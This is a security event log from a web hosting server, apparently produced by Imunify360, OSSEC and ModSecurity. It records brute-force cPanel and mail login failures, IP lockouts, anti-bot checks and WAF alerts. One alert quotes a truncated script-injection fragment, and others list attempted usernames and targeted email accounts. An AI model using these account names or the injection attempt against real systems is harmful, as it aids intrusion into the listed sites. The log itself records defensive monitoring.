[2026-06-09 20:44:34 +0000] info [cpaneld] 23.104.93.196 - afdim "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 151.237.113.87
country_id: 732800
description:
Jun  9 20:44:38 ns5 auth[2634]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 151.237.113.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.237.113.87
country_id: 732800
description:
2026-06-09 20:44:40 dovecot_plain authenticator failed for H=(mints) [151.237.113.87]:47246: 535 Incorrect authentication data (set_id=admin@white-ways.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun  9 20:44:53 ns5 auth[2634]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-09 20:44:55 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:31430: 535 Incorrect authentication data (set_id=t7)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.207.34.209
country_id: 6252001
description:
[2026-06-09 20:45:57 +0000] info [cpaneld] 104.207.34.209 - polyfree "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user polyfree (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 148.224.57.21
country_id: 3996063
description:
148.224.57.21 - - [09/Jun/2026:20:45:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988505&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcommunique-du-conseil-des-ministres-du-12-novembre-2020%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781037956 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/communique-du-conseil-des-ministres-du-12-novembre-2020/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.4347.1344 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:148.224.57.21


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.152
country_id: 1880251
description:
47.128.96.152 - - [09/Jun/2026:20:46:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9990034&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Faccident-de-circulation-au-mali%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781037967 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/accident-de-circulation-au-mali/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.152


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.199
country_id: 1880251
description:
47.128.96.199 - - [09/Jun/2026:20:49:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7052392&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Famende-de-3000-euros%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781038154 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/amende-de-3000-euros/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.199


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.227
country_id: 1643084
description:
[2026-06-09 20:49:45 +0000] info [cpaneld] 103.65.237.227 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.83.204.204
country_id: 6252001
description:
[2026-06-09 20:50:10 +0000] info [cpaneld] 23.83.204.204 - kavznjyb "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kavznjyb (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 66.93.164.161
country_id: 6252001
description:
66.93.164.161 - - [09/Jun/2026:20:49:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792355&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781038180 HTTP/1.1" 404 561 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:66.93.164.161


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.169
country_id: 1880251
description:
47.128.96.169 - - [09/Jun/2026:20:49:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13407174&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Famende-de-3000-euros%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781038192 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/amende-de-3000-euros/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.169


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.125
country_id: 1880251
description:
47.128.96.125 - - [09/Jun/2026:20:50:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119016&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcabinet-aka-financial-consulting%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781038235 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cabinet-aka-financial-consulting/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.125


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.142
country_id: 1880251
description:
47.128.96.142 - - [09/Jun/2026:20:50:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13200284&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-resultats-bac-2025%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781038244 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-resultats-bac-2025/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.142


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.168
country_id: 1880251
description:
47.128.96.168 - - [09/Jun/2026:20:51:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9814888&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-resultats-bac-2025%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781038273 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-resultats-bac-2025/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.168


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun  9 20:51:53 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-09 20:51:55 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:33230: 535 Incorrect authentication data (set_id=s14)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.148
country_id: 1880251
description:
47.128.96.148 - - [09/Jun/2026:20:51:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908520&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcabinet-aka-financial-consulting%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781038317 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cabinet-aka-financial-consulting/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.148


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 49.232.15.65
country_id: 1814991
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/ayimolou-festival-une-identite-desormais-certifiee-et-protegee-par-loapi/<script async src=||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.195
country_id: 1880251
description:
47.128.96.195 - - [09/Jun/2026:20:53:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10183785&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-deces-du-celebre-prophete-sena-le-roi-des-adomenou%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781038385 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-deces-du-celebre-prophete-sena-le-roi-des-adomenou/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.195


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.204.99.32
country_id: 6252001
description:
[2026-06-09 20:54:13 +0000] info [cpaneld] 192.204.99.32 - tiyasuxe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tiyasuxe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.61.36
country_id: 953987
description:
Jun  9 20:54:21 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.61.36 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.27.40.78
country_id: 6252001
description:
[2026-06-09 20:54:55 +0000] info [cpaneld] 100.27.40.78 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 167.250.111.110
country_id: 6252001
description:
167.250.111.110 - - [09/Jun/2026:20:55:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066078&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781038556 HTTP/1.1" 404 561 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:167.250.111.110


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.153
country_id: 1880251
description:
47.128.96.153 - - [09/Jun/2026:20:56:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6841496&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-inseed-recrute-194-postes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781038602 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-inseed-recrute-194-postes/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.153


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.130
country_id: 1880251
description:
47.128.96.130 - - [09/Jun/2026:20:58:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6460313&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fethiopian-airlines%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781038682 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ethiopian-airlines/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.130


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 44.197.241.199
country_id: 6252001
description:
[2026-06-09 20:58:25 +0000] info [cpaneld] 44.197.241.199 - abttogo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.145
country_id: 1880251
description:
47.128.96.145 - - [09/Jun/2026:20:58:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6843502&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-inseed-recrute-194-postes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781038707 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-inseed-recrute-194-postes/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.145


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.15
country_id: 1880251
description:
47.128.96.15 - - [09/Jun/2026:20:57:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6527889&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fkokou-agbleta%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781038656 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/kokou-agbleta/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.15


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-09 20:59:09 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:15820: 535 Incorrect authentication data (set_id=bidon)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.173
country_id: 1880251
description:
47.128.96.173 - - [09/Jun/2026:20:58:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10118297&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fzidane-et-cristiano-ronaldo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781038725 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/zidane-et-cristiano-ronaldo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.173


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun  9 20:59:07 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.5.68.122
country_id: 1562822
description:
2026-06-09 21:01:00 dovecot_plain authenticator failed for H=(hkevlne6lalo2j51prw6kk7) [117.5.68.122]:43497: 535 Incorrect authentication data (set_id=support.technique@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.204.100.189
country_id: 6252001
description:
[2026-06-09 21:01:02 +0000] info [cpaneld] 192.204.100.189 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 3.12.166.52
country_id: 6252001
description:
[2026-06-09 21:01:30 +0000] info [cpaneld] 3.12.166.52 - pharma "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pharma (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.120
country_id: 1880251
description:
47.128.96.120 - - [09/Jun/2026:21:02:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13200794&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcommune-de-bas-mono-1-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781038931 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/commune-de-bas-mono-1-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.120


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 195.210.125.7
country_id: 6252001
domain: educplusmedia.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw||User:ylhgcaui||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.172
country_id: 1880251
description:
47.128.96.172 - - [09/Jun/2026:21:02:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169891&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsociete-agroindustrielle%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781038951 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/societe-agroindustrielle/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.172


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.204.99.43
country_id: 6252001
description:
[2026-06-09 21:02:47 +0000] info [cpaneld] 192.204.99.43 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.240.55.226
country_id: 6252001
description:
[2026-06-09 21:04:17 +0000] info [cpaneld] 52.240.55.226 - aogodmm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.95.146.148
country_id: 3686110
description:
[2026-06-09 21:04:24 +0000] info [cpaneld] 191.95.146.148 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.32.173.248
country_id: 3017382
description:
[2026-06-09 21:04:28 +0000] info [cpaneld] 31.32.173.248 - ucaouut "GET /login/?login_only=1&user=ucaouut&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.255.104.213
country_id: 3932488
description:
[2026-06-09 21:04:31 +0000] info [cpaneld] 38.255.104.213 - ucaouuttg "GET /login/?login_only=1&user=ucaouuttg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucaouuttg (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.182
country_id: 1880251
description:
47.128.96.182 - - [09/Jun/2026:21:04:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379562&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcabinet-aka-financial-consulting%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039067 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cabinet-aka-financial-consulting/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.182


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.12.151.78
country_id: 3658394
description:
[2026-06-09 21:04:37 +0000] info [cpaneld] 190.12.151.78 - ucaouu "GET /login/?login_only=1&user=ucaouu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucaouu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.234.25.252
country_id: 690791
description:
[2026-06-09 21:04:41 +0000] info [cpaneld] 91.234.25.252 - ucao "GET /login/?login_only=1&user=ucao&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucao (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.178.24.168
country_id: 2542007
description:
[2026-06-09 21:04:47 +0000] info [cpaneld] 160.178.24.168 - uc "GET /login/?login_only=1&user=uc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user uc (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun  9 21:06:15 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.183
country_id: 1880251
description:
47.128.96.183 - - [09/Jun/2026:21:06:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869514&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ftribunaux-dinstance-a-competence-correctionnelle-et-civile-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039184 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/tribunaux-dinstance-a-competence-correctionnelle-et-civile-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.183


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-09 21:06:17 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:48339: 535 Incorrect authentication data (set_id=campanhas)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.179
country_id: 1880251
description:
47.128.96.179 - - [09/Jun/2026:21:05:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6788249&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmonseigneur-barrigah%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039151 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/monseigneur-barrigah/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.179


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.227
country_id: 2635167
description:
2026-06-09 21:07:06 dovecot_login authenticator failed for H=(4CAmnFgJ5) [185.169.4.227]:49797: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 195.210.125.65
country_id: 6252001
domain: educplusmedia.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:yanz@123457||User:ylhgcaui||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.169.4.227
country_id: 2635167
description:
Jun  9 21:07:04 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.169.4.227 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.131
country_id: 1880251
description:
47.128.96.131 - - [09/Jun/2026:21:07:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13266843&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcabinet-aka-financial-consulting%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039247 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cabinet-aka-financial-consulting/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.131


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.13.228
country_id: 6252001
description:
[2026-06-09 21:07:23 +0000] info [cpaneld] 195.63.13.228 - yxhnfwxr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.227
country_id: 2635167
description:
2026-06-09 21:07:35 dovecot_login authenticator failed for H=(791Vkffd) [185.169.4.227]:58149: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-09 21:08:07 +0000] info [cpaneld] 103.253.27.219 - stephane "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user stephane (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.209.137.158
country_id: 6252001
description:
[2026-06-09 21:08:13 +0000] info [cpaneld] 35.209.137.158 - afdim "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.169.4.227
country_id: 2635167
description:
Jun  9 21:07:57 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.169.4.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.169.4.227
country_id: 2635167
description:
Jun  9 21:08:41 ns5 auth[11566]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.169.4.227 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.227
country_id: 1643084
description:
[2026-06-09 21:08:53 +0000] info [cpaneld] 103.65.237.227 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 197.234.221.34
country_id: 2395170
description:
197.234.221.34 - - [09/Jun/2026:21:09:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777187&pdata=https%253A%252F%252Fwww.crrhuemoa.org%252Fen%252Fjob-offers&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781039365 HTTP/2.0" 302 0 www.crrhuemoa.org "https://www.crrhuemoa.org/en/job-offers" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"197.234.221.34" CAPTCHA:"0" PEER:162.159.113.91
